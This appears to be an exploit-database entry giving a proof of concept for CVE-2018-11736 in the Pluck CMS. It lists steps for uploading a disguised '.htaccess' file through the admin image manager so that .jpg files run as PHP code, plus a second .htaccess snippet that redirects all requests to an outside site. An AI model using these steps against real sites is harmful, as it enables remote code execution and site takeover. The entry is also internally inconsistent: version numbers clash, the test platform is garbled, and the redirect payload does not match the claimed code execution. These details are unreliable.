Pluck 4.7.7-dev2 - PHP Code Execution

Author: CodeSecLab
type: webapps
platform: php
port: 
date_added: 2025-12-08 
date_updated: 2025-12-08 
verified: 0 
codes: CVE-2018-11736 
tags: 
aliases:  
screenshot_url:  
application_url: 

# Exploit Title: Pluck 4.7.7-dev2 -  PHP Code Execution
# Date: 2024-10-26
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/pluck-cms/pluck
# Software Link: https://github.com/pluck-cms/pluck
# Version: 4.74-dev5
# Tested on: Ubuntu Windows
# CVE : CVE-2018-11736

PoC:
1）
1. Log in to the Pluck admin panel.\n
2. Navigate to the 'Manage Images' section at http://pluck1/admin.php?action=images.\n
3. Upload a file named '.htaccess' with the content-type 'image/jpeg' containing 'AddType application/x-httpd-php .jpg'.\n
4. Access the target directory (e.g., http://pluck1/images/test.jpg) to execute PHP code with the .jpg extension.

2)
.htaccess content:
RewriteEngine On
RewriteRule .* http://www.baidu.com/ [R,L]

[Replace Your Domain Name]